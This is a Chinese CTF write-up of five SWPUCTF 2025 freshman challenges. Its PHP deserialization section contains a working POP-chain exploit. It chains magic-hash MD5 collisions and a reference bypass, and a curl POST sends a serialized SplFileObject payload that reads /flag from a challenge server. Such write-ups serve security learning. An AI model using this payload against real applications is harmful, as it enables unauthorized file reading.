题目来源:NSSCTF

练习时间:2026年2月1日

练习数量:5

上篇:CTF-SWPUCTF2025秋季新生赛1
下篇:CTF-SWPUCTF2025秋季新生赛3

📖 SWPUCTF 2025 秋季新生赛合集
1️⃣CTF-SWPUCTF2025秋季新生赛1
2️⃣CTF-SWPUCTF2025秋季新生赛2
3️⃣CTF-SWPUCTF2025秋季新生赛3
4️⃣CTF-SWPUCTF2025秋季新生赛4
5️⃣CTF-SWPUCTF2025秋季新生赛5

⭐️ 03 [SWPUCTF 2025 秋季新生赛]一种很新的签到

🚩flag:NSSCTF{Welcome_To_NSS_Reverse_Challenge!!}

💡hint:reverse

🔧tool:ida-pro

下载附件后用ida-pro打开,第一步,打开:

ViewOpen subviews → Strings

然后搜索
用 ⌘ + F 查找关键字 NSSCTF 得到flag。

ida-pro界面


⭐️ 04 [SWPUCTF 2025 秋季新生赛]FIRST MEETING

🚩flag:NSSCTF{af957930-79c2-4697-961b-fafb66b2041f}

💡hint:web PHP 反序列化漏洞 POP 链利用(Property Oriented Programming)

🔧tool:php运行工具/环境

原题奉上:

<?php
highlight_file(__FILE__);
class WEB {
private $sauy;
public $creambread;

public function __construct($sauy) {
$this->sauy = $sauy;
echo "I know you are good at this!";
}
public function __destruct() {
echo $this -> sauy;
}
}

class REVERSE {
protected $re1sen;
public $harukaze;
public $ysyy;
public $acc;

public function __call($a, $b){
if (!is_string($this -> harukaze) ||!is_string($this -> ysyy)||($this -> harukaze === $this -> ysyy)) {
die("你输的什么东西?");
}
if (md5($this -> harukaze) == md5($this -> ysyy)) {
($this->acc)();
} else {
die("?");
}
}
}

class PWN {
public $wings;
public $c0trick;

public function __toString() {
if($this->wings === 'SHENG-YI'){
$this -> c0trick -> MinatoNamikaze();
return "NSS WELCOME YOU!!!";
}
else {
die("No wings,no fly!");
}
}
}
class MISC {
public $cr4p;

public function __invoke(){
$this -> cr4p -> png = '010';
}
}

class CRYPTO {
public $kyarihoshi;
public $rocage;
public $last;
public $dance;
public $kiss;
public function __construct(){
$kyarihoshi = $this -> kyarihoshi;
$rocage = $this -> rocage;
$kiss = $this -> kiss;
}
public function __set($a, $b){
$this -> dance = md5(rand(1, 10000));
if ($this->last === $this -> dance){
$kiss = new $this -> kyarihoshi($this -> rocage);
echo "$kiss<br>";
echo "恭喜!<br>";
}
else{
die("LAST DANCE!May be you can find the trick!");
}
}
}
$NSS = $_POST["NSS"];
unserialize($NSS);
?>

漏洞点:unserialize会把用户输入还原为对象或者数组。

对于web:

class WEB {
private $sauy;
public function __destruct() {
echo $this->sauy;
}
}

当 unserialize() 结束、脚本生命周期结束时,WEB 对象会析构,自动执行 __destruct()。
它做了一个关键动作:echo $this->sauy;
如果 $sauy 是字符串:就打印字符串
如果 $sauy 是对象:PHP 会尝试把对象转成字符串 → 触发 __toString()

进入pwn:

class PWN {
public $wings;
public $c0trick;

public function __toString() {
if($this->wings === 'SHENG-YI'){
$this->c0trick->MinatoNamikaze();
return "NSS WELCOME YOU!!!";
} else {
die("No wings,no fly!");
}
}
}

这里两件事:
要求 $wings === ‘SHENG-YI’(严格相等)
→ 逼你在 payload 里把属性填对
调用一个根本不存在的方法:
$this->c0trick->MinatoNamikaze();
对一个对象调用不存在的方法,会触发该对象的 __call($name,$args)

然后会跳到reverse:

class REVERSE {
public $harukaze;
public $ysyy;
public $acc;

public function __call($a, $b){
if (!is_string($this->harukaze) || !is_string($this->ysyy) || ($this->harukaze === $this->ysyy)) {
die("你输的什么东西?");
}
if (md5($this->harukaze) == md5($this->ysyy)) {
($this->acc)();
} else {
die("?");
}
}
}

先卡类型与相等
必须都是字符串
还必须不全等:harukaze !== ysyy
再卡 MD5 “==” 比较
关键是:
md5($a) == md5($b)
注意是 ==,不是 ===。
PHP 的 == 会发生类型转换。只要 MD5 结果长得像科学计数法的 0:
“0e123456…” 会被当成数字 0
“0e999999…” 也会被当成数字 0
所以 0 == 0 为真
这就是著名的 “0e 魔术哈希”

成功后,把 acc 当函数调用。
如果 acc 是对象,PHP 会尝试调用对象 → 触发对象的 __invoke()

跳转到MISC:

class MISC {
public $cr4p;

public function __invoke(){
$this->cr4p->png = '010';
}
}

这里对 $cr4p 对象做属性赋值:->png = ‘010’
如果 $cr4p 这个对象里 没有 png 这个属性,则会触发该对象的 __set($name,$value)。
题目里正好只有 CRYPTO 有 __set。

跳转到CRYPTO:

class CRYPTO {
public $kyarihoshi;
public $rocage;
public $last;
public $dance;

public function __set($a, $b){
$this->dance = md5(rand(1, 10000));
if ($this->last === $this->dance){
$kiss = new $this->kyarihoshi($this->rocage);
echo "$kiss<br>";
echo "恭喜!<br>";
} else {
die("LAST DANCE!");
}
}
}

dance = md5(rand()) + last === dance
dance 是随机生成的
last 必须严格等于 dance 才能走到 new …
如果你正常思路:你不可能预知 rand()
所以出题人故意逼你想“trick”。

这个 trick 就是:引用(Reference)
如果你让:
$last 和 $dance 是同一个引用(指向同一个 zval)
那么当 dance 被赋新值时,last 也同步变成同一个值,于是:
last === dance 必然为真(甚至是同一个变量)
这就是这题最巧的点:用引用绕过随机性 + 严格比较。

你可以控制:
kyarihoshi:类名字符串
rocage:构造参数
于是你可以选一个 内置类,让 echo $kiss 输出你想要的东西。
最典型就是:
SplFileObject($path):读文件内容(很多环境 echo 时能输出行)
或 FilesystemIterator(‘glob:///…’):枚举文件名(你之前就用它爆出了 flag 这个名字)
所以出题人的最终目标是:
让你用动态 new + echo 打印 flag 文件的内容(或通过迭代器枚举定位 flag)。

最终解题脚本:

<?php
class WEB {
private $sauy;
public $creambread;
public function __construct($sauy) { $this->sauy = $sauy; }
}

class REVERSE {
protected $re1sen;
public $harukaze = 'QNKCDZO';
public $ysyy = 's878926199a';
public $acc;
}

class PWN {
public $wings = 'SHENG-YI';
public $c0trick;
public function __toString() {
if($this->wings === 'SHENG-YI'){
$this->c0trick->MinatoNamikaze();
return "NSS WELCOME YOU!!!";
}
die("No wings,no fly!");
}
}

class MISC {
public $cr4p;
public function __invoke(){ $this->cr4p->png = '010'; }
}

class CRYPTO {
public $kyarihoshi = 'SplFileObject';
public $rocage = '/flag'; // 你自己后续根据环境改
public $last;
public $dance;
public $kiss;
}

$crypto = new CRYPTO();

/**
* ✅ 关键修复:先给 dance 一个占位值,再做引用
* 这样序列化里 last 和 dance 才会都变成 R:xx 引用结构,更稳定
*/
$crypto->dance = 'seed';
$crypto->last =& $crypto->dance;

$misc = new MISC();
$misc->cr4p = $crypto;

$reverse = new REVERSE();
$reverse->acc = $misc;

$pwn = new PWN();
$pwn->c0trick = $reverse;

$web = new WEB($pwn);

echo urlencode(serialize($web));

运行得出的结果赋值给NSS

curl -s -X POST -d "NSS=O%3A3%3A%22WEB%22%3A2%3A%7Bs%3A9%3A%22%00WEB%00sauy%22%3BO%3A3%3A%22PWN%22%3A2%3A%7Bs%3A5%3A%22wings%22%3Bs%3A8%3A%22SHENG-YI%22%3Bs%3A7%3A%22c0trick%22%3BO%3A7%3A%22REVERSE%22%3A4%3A%7Bs%3A9%3A%22%00%2A%00re1sen%22%3BN%3Bs%3A8%3A%22harukaze%22%3Bs%3A7%3A%22QNKCDZO%22%3Bs%3A4%3A%22ysyy%22%3Bs%3A11%3A%22s878926199a%22%3Bs%3A3%3A%22acc%22%3BO%3A4%3A%22MISC%22%3A1%3A%7Bs%3A4%3A%22cr4p%22%3BO%3A6%3A%22CRYPTO%22%3A5%3A%7Bs%3A10%3A%22kyarihoshi%22%3Bs%3A13%3A%22SplFileObject%22%3Bs%3A6%3A%22rocage%22%3Bs%3A5%3A%22%2Fflag%22%3Bs%3A4%3A%22last%22%3Bs%3A4%3A%22seed%22%3Bs%3A5%3A%22dance%22%3BR%3A12%3Bs%3A4%3A%22kiss%22%3BN%3B%7D%7D%7D%7Ds%3A10%3A%22creambread%22%3BN%3B%7D" http://node1.anna.nssctf.cn:28727

然后就会输出flag:

得到flag


⭐️ 05 [SWPUCTF 2025 秋季新生赛]Are u “脚本小子”?

🚩flag:NSSCTF{WoW_u_a4e_py7h0n_m4ster!}

💡hint:misc

🔧tool:python

Mac自带软件自动解压ing(bushi
Mac自带软件自动解压ing(bushi

然后跑完就得到flag了。

正经脚本解法如下:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
recursive_extract.py
递归解压嵌套型压缩包(多种格式),并在解压后继续扫描新文件直到无可解压项或达到限制。

支持(内置):
- .zip
- .tar, .tar.gz/.tgz, .tar.bz2/.tbz2, .tar.xz/.txz
- .gz (单文件 gzip)
- .bz2 (单文件 bzip2)
- .xz (单文件 xz)

可选支持(自动探测):
- .7z (优先 py7zr,其次系统 7z/7za)
- .rar (系统 unar/7z)
"""

from __future__ import annotations

import argparse
import bz2
import gzip
import io
import lzma
import os
import shutil
import subprocess
import sys
import tarfile
import zipfile
from dataclasses import dataclass
from pathlib import Path
from typing import Iterable, Optional, Set, Tuple


ARCHIVE_EXTS = {
".zip",
".tar", ".tgz", ".tar.gz", ".tbz2", ".tar.bz2", ".txz", ".tar.xz",
".gz", ".bz2", ".xz",
".7z", ".rar",
}


def which(cmd: str) -> Optional[str]:
return shutil.which(cmd)


def is_archive(path: Path) -> bool:
name = path.name.lower()
# 处理双后缀
for ext in (".tar.gz", ".tar.bz2", ".tar.xz"):
if name.endswith(ext):
return True
# 单后缀
return path.suffix.lower() in ARCHIVE_EXTS or name.endswith((".tgz", ".tbz2", ".txz"))


def norm_ext(path: Path) -> str:
name = path.name.lower()
for ext in (".tar.gz", ".tar.bz2", ".tar.xz"):
if name.endswith(ext):
return ext
if name.endswith(".tgz"):
return ".tar.gz"
if name.endswith(".tbz2"):
return ".tar.bz2"
if name.endswith(".txz"):
return ".tar.xz"
return path.suffix.lower()


def safe_join(base: Path, target: Path) -> Path:
"""
防 ZipSlip:确保 target 解压到 base 下
"""
base_resolved = base.resolve()
out = (base_resolved / target).resolve()
if not str(out).startswith(str(base_resolved) + os.sep) and out != base_resolved:
raise ValueError(f"Blocked path traversal: {target}")
return out


@dataclass
class Limits:
max_depth: int = 20
max_files: int = 20000
max_bytes: int = 2_000_000_000 # 2GB 默认上限
overwrite: bool = False


@dataclass
class Stats:
files_written: int = 0
bytes_written: int = 0


class ExtractError(Exception):
pass


def ensure_limits(stats: Stats, limits: Limits, add_files: int = 0, add_bytes: int = 0) -> None:
if stats.files_written + add_files > limits.max_files:
raise ExtractError(f"Exceeded max_files: {limits.max_files}")
if stats.bytes_written + add_bytes > limits.max_bytes:
raise ExtractError(f"Exceeded max_bytes: {limits.max_bytes}")


def write_bytes_atomic(dst: Path, data: bytes, overwrite: bool) -> None:
if dst.exists() and not overwrite:
return
dst.parent.mkdir(parents=True, exist_ok=True)
tmp = dst.with_suffix(dst.suffix + ".tmp")
with open(tmp, "wb") as f:
f.write(data)
os.replace(tmp, dst)


def extract_zip(src: Path, out_dir: Path, stats: Stats, limits: Limits) -> None:
with zipfile.ZipFile(src) as zf:
infos = zf.infolist()
ensure_limits(stats, limits, add_files=len(infos))
for info in infos:
name = info.filename
if name.endswith("/"):
continue
# Zip 内部路径可能包含反斜杠
rel = Path(name.replace("\\", "/"))
dst = safe_join(out_dir, rel)

# 估算体积(ZipInfo.file_size 为解压后大小)
ensure_limits(stats, limits, add_files=0, add_bytes=info.file_size)

if dst.exists() and not limits.overwrite:
continue
dst.parent.mkdir(parents=True, exist_ok=True)
with zf.open(info, "r") as r, open(dst, "wb") as w:
shutil.copyfileobj(r, w)

stats.files_written += 1
stats.bytes_written += info.file_size


def extract_tar(src: Path, out_dir: Path, stats: Stats, limits: Limits) -> None:
# tarfile 自动识别 gz/bz2/xz
with tarfile.open(src, mode="r:*") as tf:
members = [m for m in tf.getmembers() if m.isfile() or m.islnk() or m.issym()]
ensure_limits(stats, limits, add_files=len(members))
for m in members:
rel = Path(m.name)
dst = safe_join(out_dir, rel)

# 估算体积:m.size(对文件有效)
if m.isfile():
ensure_limits(stats, limits, add_bytes=m.size)

if dst.exists() and not limits.overwrite:
continue
dst.parent.mkdir(parents=True, exist_ok=True)

# 对符号链接/硬链接:为安全起见,直接跳过(也可改成处理)
if m.issym() or m.islnk():
continue

f = tf.extractfile(m)
if f is None:
continue
with f, open(dst, "wb") as w:
shutil.copyfileobj(f, w)

stats.files_written += 1
if m.isfile():
stats.bytes_written += m.size


def extract_single_stream(
src: Path, out_dir: Path, stats: Stats, limits: Limits, kind: str
) -> None:
"""
处理 .gz/.bz2/.xz 这种“单文件压缩”(不是 tar)
约定输出文件名:去掉该后缀
"""
suffix = src.suffix.lower()
# 输出文件名:去掉最后一个后缀
out_name = src.name[: -len(suffix)]
if not out_name:
out_name = src.stem or (src.name + ".out")
dst = safe_join(out_dir, Path(out_name))

if dst.exists() and not limits.overwrite:
return

# 解压到内存会有风险,改为流式写入并统计
dst.parent.mkdir(parents=True, exist_ok=True)

opener = {
"gz": gzip.open,
"bz2": bz2.open,
"xz": lzma.open,
}[kind]

# 边解边写,边统计(防炸弹:超过 max_bytes 就中止)
written = 0
with opener(src, "rb") as r, open(dst, "wb") as w:
while True:
chunk = r.read(1024 * 1024)
if not chunk:
break
written += len(chunk)
ensure_limits(stats, limits, add_bytes=len(chunk))
w.write(chunk)

stats.files_written += 1
stats.bytes_written += written


def extract_7z_with_py7zr(src: Path, out_dir: Path, stats: Stats, limits: Limits) -> bool:
try:
import py7zr # type: ignore
except Exception:
return False

with py7zr.SevenZipFile(src, mode="r") as z:
# py7zr 不容易在不解压前拿到所有文件大小,先做文件数限制
names = z.getnames()
ensure_limits(stats, limits, add_files=len(names))
z.extractall(path=out_dir)
# 事后统计大小(粗略)
for n in names:
p = (out_dir / n)
if p.is_file():
sz = p.stat().st_size
ensure_limits(stats, limits, add_bytes=sz)
stats.files_written += 1
stats.bytes_written += sz
return True


def extract_with_command(cmd: str, src: Path, out_dir: Path) -> None:
"""
使用外部命令解压(7z/unar)。外部命令可能会创建子目录或直接输出。
这里不做体积统计(已经有全局限制可控制深度/文件数,且外部工具不同难以统一)。
"""
out_dir.mkdir(parents=True, exist_ok=True)

if cmd in ("7z", "7za"):
# 7z x -oOUT SRC
p = subprocess.run([cmd, "x", f"-o{str(out_dir)}", "-y", str(src)],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
if p.returncode != 0:
raise ExtractError(f"{cmd} failed:\n{p.stdout}")
elif cmd == "unar":
# unar -o OUT SRC
p = subprocess.run([cmd, "-o", str(out_dir), str(src)],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
if p.returncode != 0:
raise ExtractError(f"unar failed:\n{p.stdout}")
else:
raise ExtractError(f"Unsupported external extractor: {cmd}")


def extract_one(src: Path, out_root: Path, stats: Stats, limits: Limits) -> Path:
"""
解压单个压缩包到一个独立目录,返回该目录路径。
"""
ext = norm_ext(src)
out_dir = out_root / (src.name + ".extracted")
out_dir.mkdir(parents=True, exist_ok=True)

if ext == ".zip":
extract_zip(src, out_dir, stats, limits)
elif ext in (".tar", ".tar.gz", ".tar.bz2", ".tar.xz"):
extract_tar(src, out_dir, stats, limits)
elif ext == ".gz":
extract_single_stream(src, out_dir, stats, limits, "gz")
elif ext == ".bz2":
extract_single_stream(src, out_dir, stats, limits, "bz2")
elif ext == ".xz":
extract_single_stream(src, out_dir, stats, limits, "xz")
elif ext == ".7z":
# 优先 py7zr;否则用 7z
if extract_7z_with_py7zr(src, out_dir, stats, limits):
pass
else:
cmd = which("7z") or which("7za")
if not cmd:
raise ExtractError("Need py7zr or system '7z/7za' to extract .7z")
extract_with_command(Path(cmd).name, src, out_dir)
elif ext == ".rar":
# 优先 unar,其次 7z
cmd = which("unar") or which("7z") or which("7za")
if not cmd:
raise ExtractError("Need system 'unar' or '7z/7za' to extract .rar")
extract_with_command(Path(cmd).name, src, out_dir)
else:
raise ExtractError(f"Unsupported archive type: {src}")

return out_dir


def iter_files(root: Path) -> Iterable[Path]:
for p in root.rglob("*"):
if p.is_file():
yield p


def recursive_extract(
input_path: Path,
output_dir: Path,
limits: Limits,
) -> Tuple[Stats, int]:
"""
返回 (stats, archives_extracted_count)
"""
stats = Stats()
extracted_count = 0

# 队列:要扫描的目录
scan_dirs = [input_path] if input_path.is_dir() else [input_path.parent]
# 已处理压缩包(按绝对路径+mtime+size 做粗略去重)
seen: Set[Tuple[str, int, int]] = set()

depth = 0
while scan_dirs:
if depth > limits.max_depth:
raise ExtractError(f"Exceeded max_depth: {limits.max_depth}")
cur = scan_dirs.pop(0)

# 如果 input_path 是单个文件,也要把它作为候选解压
candidates: Iterable[Path]
if input_path.is_file() and depth == 0:
candidates = [input_path]
else:
candidates = iter_files(cur)

for f in candidates:
if not is_archive(f):
continue
st = f.stat()
key = (str(f.resolve()), int(st.st_mtime), int(st.st_size))
if key in seen:
continue
seen.add(key)

# 解压到 output_dir 下,按原文件名创建独立 extracted 目录
out_sub = output_dir
out_created = extract_one(f, out_sub, stats, limits)
extracted_count += 1

# 新解压出来的目录,继续扫描(实现嵌套)
scan_dirs.append(out_created)

depth += 1

return stats, extracted_count


def main() -> int:
ap = argparse.ArgumentParser(description="递归解压嵌套型压缩包(zip/tar/gz/bz2/xz,7z/rar 可选)")
ap.add_argument("input", help="输入压缩包文件或目录")
ap.add_argument("-o", "--output", default="extracted_out", help="输出目录(默认 extracted_out)")
ap.add_argument("--max-depth", type=int, default=20, help="最大嵌套深度(默认 20)")
ap.add_argument("--max-files", type=int, default=20000, help="最多写出文件数(默认 20000)")
ap.add_argument("--max-bytes", type=int, default=2_000_000_000, help="最多写出总字节数(默认 2GB)")
ap.add_argument("--overwrite", action="store_true", help="覆盖已存在文件")
args = ap.parse_args()

input_path = Path(args.input).expanduser().resolve()
output_dir = Path(args.output).expanduser().resolve()
output_dir.mkdir(parents=True, exist_ok=True)

limits = Limits(
max_depth=args.max_depth,
max_files=args.max_files,
max_bytes=args.max_bytes,
overwrite=args.overwrite,
)

try:
stats, n = recursive_extract(input_path, output_dir, limits)
except ExtractError as e:
print(f"[!] Error: {e}", file=sys.stderr)
return 2

print(f"[+] Done. Archives extracted: {n}")
print(f"[+] Files written: {stats.files_written}")
print(f"[+] Bytes written: {stats.bytes_written}")
print(f"[+] Output dir: {output_dir}")
return 0


if __name__ == "__main__":
raise SystemExit(main())

附带用法:

解压一个文件并递归:

python3 recursive_extract.py sample.zip -o out

解压一个目录(目录里可能有很多压缩包/嵌套):

python3 recursive_extract.py ./downloads -o out

加限制(防压缩炸弹):

python3 recursive_extract.py nested.tar.gz -o out --max-depth 10 --max-files 5000 --max

【扩展】压缩炸弹:体积很小的压缩文件,解压后会变成极其巨大的数据,用来拖垮你的 CPU、内存或磁盘。
它本质是 一种拒绝服务(DoS)攻击手段,在 CTF、恶意样本、邮件附件、自动解压系统里都非常常见。


⭐️ 06 [SWPUCTF 2025 秋季新生赛]未完的故事

🚩flag:NSSCTF{H0nest_fr1eNd1y_4nd_C0nfidenT}

💡hint:misc 词频统计 古典密码

🔧tool:quipquip cyberchef

看题得知明显单表替换密码
单表替换密码工具:https://quipqiup.com/

Etn Ghar lvri ur etn beefisela us sha islaas gelral. Shala'i u islurma lvta or hoi isela: ha rajal poroihai klosorm ury beef. Us ubevs ske-sholni ep sha kuy shlevmh augh beef, shala kott ba u natogusa beefzulf. Er sha bugf, os oi hurnklossar: "Sha lais, dtauia klosa os yevliatp." Us polis, daedta kala jaly vruggvisezan se os. Ieza guza bugf urmloty kosh "Era Hvrnlan Yauli ep Ietosvna" or hurn urn uifan, "O kui qvis launorm ubevs Lazanoei' uigarioer se haujar, khy non os arn?" Etn Ghar qvis izotan urn iuon, "Ne yev shorf iha svlran orse u bvssalpty el baguza luor?" Tusal, daedta mlunvutty patt or teja kosh shoi forn ep launorm. Sha gedy ep "Sha Iaumvtt Laisuvlurs" kui taps edar us sha duma khala sha ekral kui nagonorm khashal se slujat pul ukuy, urn sha dumai kala pottan kosh launali' klossar pettek-vdi - ieza ivmmaisan iha me se Ogaturn, khota eshali vlman hal se isuy. Sha shogfais era oi "Sha Soza Slujatal'i Kopa", khogh hui baar laklossar kosh iajar noppalars arnormi. Ieza zas or sha bturf dumai, khota eshali iuon meenbya or sha zulmori. Era nuy, u molt ihekan vd kosh u zurviglods klossar by Tue Ghar hoziatp. Sha isely iseddan us sha zeis awgosorm svlrorm deors, urn sha lais ep sha dumai kala bturf. "Shoi oi yevl ptum" sha molt iuon. "RIIGSP{INBvCWR0W2CyZKJECNP5WcLvCP9NZM5zuKLtbtX=}" Etn Ghar teefan evs ep sha kornek us sha puttorm duvtekrou taujai urn iuon iepsty, "O'ja baar kuosorm pel iezaera se klosa sha arnorm pel za." Sha molt kui iotars pel u zezars, shar seef evs u dar plez hal bum urn klesa er sha tuis duma: "Tusal, sha beefisela ekral kuosan pel hoi launal. Semashal, shay poroihan utt sha vrporoihan iseloai." Sha iassorm ivr ihera shlevmh sha ihed kornek, islasghorm sha ihuneki ep sha ske daedta jaly term, qvis tofa u dalpagsty dtugan pvtt ised.

破解后:

Old Chen runs an old bookstore at the street corner. There's a strange rule in his store: he never finishes writing any book. At about two-thirds of the way through each book, there will be a delicate bookmark. On the back, it is handwritten: "The rest, please write it yourself." At first, people were very unaccustomed to it. Some came back angrily with "One Hundred Years of Solitude" in hand and asked, "I was just reading about Remedios' ascension to heaven, why did it end?" Old Chen just smiled and said, "Do you think she turned into a butterfly or became rain?" Later, people gradually fell in love with this kind of reading. The copy of "The Seagull Restaurant" was left open at the page where the owner was deciding whether to travel far away, and the pages were filled with readers' written follow-ups - some suggested she go to Iceland, while others urged her to stay. The thickest one is "The Time Traveler's Wife", which has been rewritten with seven different endings. Some met in the blank pages, while others said goodbye in the margins. One day, a girl showed up with a manuscript written by Lao Chen himself. The story stopped at the most exciting turning point, and the rest of the pages were blank. "This is your flag" the girl said. "NSSCTF{SDBuZXN0X2ZyMWVOZDF5XzRuZF9DMG5maWRlblQ=}" Old Chen looked out of the window at the falling paulownia leaves and said softly, "I've been waiting for someone to write the ending for me." The girl was silent for a moment, then took out a pen from her bag and wrote on the last page: "Later, the bookstore owner waited for his reader. Together, they finished all the unfinished stories." The setting sun shone through the shop window, stretching the shadows of the two people very long, just like a perfectly placed full stop.

flag可能是base64编码,放到cyberchef里面看看。
https://gchq.github.io/CyberChef/
得到:H0nest_fr1eNd1y_4nd_C0nfidenT
所以flag:
NSSCTF{H0nest_fr1eNd1y_4nd_C0nfidenT}


⭐️ 07 [SWPUCTF 2025 秋季新生赛]debuggggg

🚩flag:NSSCTF{random_number_0r_not_abc}

💡hint:reverse

🔧tool:idapro

idapro找到关键代码段:

unsigned __int64 sub_1317()
{
__int64 v0; // rax
__int64 v1; // rax
int i; // [rsp+8h] [rbp-D8h]
_DWORD v4[32]; // [rsp+10h] [rbp-D0h] BYREF
char s[8]; // [rsp+90h] [rbp-50h] BYREF
__int64 v6; // [rsp+98h] [rbp-48h]
__int64 v7; // [rsp+A0h] [rbp-40h]
__int64 v8; // [rsp+A8h] [rbp-38h]
_QWORD v9[5]; // [rsp+B0h] [rbp-30h] BYREF
unsigned __int64 v10; // [rsp+D8h] [rbp-8h]

v10 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input flag:");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
*(_QWORD *)s = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
std::operator>><char,std::char_traits<char>>(&std::cin, s);
if ( (unsigned int)strlen(s) == 32 )
{
qmemcpy(v9, "XLVGSD{mfbuha_sstgpr_9d_acc_wbi}", 32);
memset(v4, 0, sizeof(v4));
for ( i = 0; i <= 31; ++i )
{
v4[i] = rand() % 255;
if ( s[i] <= 96 || s[i] > 122 )
{
if ( s[i] <= 64 || s[i] > 90 )
{
if ( s[i] > 47 && s[i] <= 57 )
s[i] = (s[i] - 48 + v4[i] % 10) % 10 + 48;
}
else
{
s[i] = (s[i] - 65 - v4[i] % 26 + 26) % 26 + 65;
}
}
else
{
s[i] = (s[i] - 97 + v4[i] % 26) % 26 + 97;
}
}
sub_126B(s, v9);
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "wrong length");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return v10 - __readfsqword(0x28u);
}

关键代码段2:

__int64 __fastcall sub_126B(__int64 a1, __int64 a2)
{
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i <= 31 && *(_BYTE *)(i + a1) == *(_BYTE *)(i + a2); ++i )
;
std::operator<<<std::char_traits<char>>();
return std::ostream::operator<<();
}

拉能跑的docker容器(一次性容器):

docker run --rm -it \
-v "$PWD:/work" \
-w /work \
python:3.13 \
bash

最终解题脚本:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from ctypes import CDLL, c_uint

TARGET = b"XLVGSD{mfbuha_sstgpr_9d_acc_wbi}" # 32 bytes
SEED = 0xABC # 2748

libc = CDLL("libc.so.6")


def gen_v4(seed: int) -> list[int]:
libc.srand(c_uint(seed))
return [int(libc.rand() % 255) for _ in range(32)]


def forward_transform(inp: bytes, v4: list[int]) -> bytes:
out = bytearray(inp)
for i in range(32):
c = out[i]
v = v4[i]
if 97 <= c <= 122: # a-z
out[i] = ((c - 97 + (v % 26)) % 26) + 97
elif 65 <= c <= 90: # A-Z
out[i] = ((c - 65 - (v % 26) + 26) % 26) + 65
elif 48 <= c <= 57: # 0-9
out[i] = ((c - 48 + (v % 10)) % 10) + 48
else: # others unchanged
out[i] = c
return bytes(out)


def invert_char(out_c: int, v: int) -> int:
# 这里按“输出字符类型”来回推,通常题目会让类型保持一致(字母还是字母、数字还是数字)
if 97 <= out_c <= 122: # output is lowercase
return ((out_c - 97 - (v % 26)) % 26) + 97
if 65 <= out_c <= 90: # output is uppercase
return ((out_c - 65 + (v % 26)) % 26) + 65
if 48 <= out_c <= 57: # output is digit
return ((out_c - 48 - (v % 10)) % 10) + 48
return out_c


def recover_input(target: bytes, v4: list[int]) -> bytes:
rec = bytearray(32)
for i in range(32):
rec[i] = invert_char(target[i], v4[i])
return bytes(rec)


def main():
v4 = gen_v4(SEED)
candidate = recover_input(TARGET, v4)

print("seed:", SEED)
print("recovered input:", candidate.decode(errors="replace"))

check = forward_transform(candidate, v4)
print("check == TARGET:", check == TARGET)
if check != TARGET:
print("check bytes:", check)


if __name__ == "__main__":
main()

得到flag


篇尾:

欣赏一下花了一些时间做的美丽gif

某动态壁纸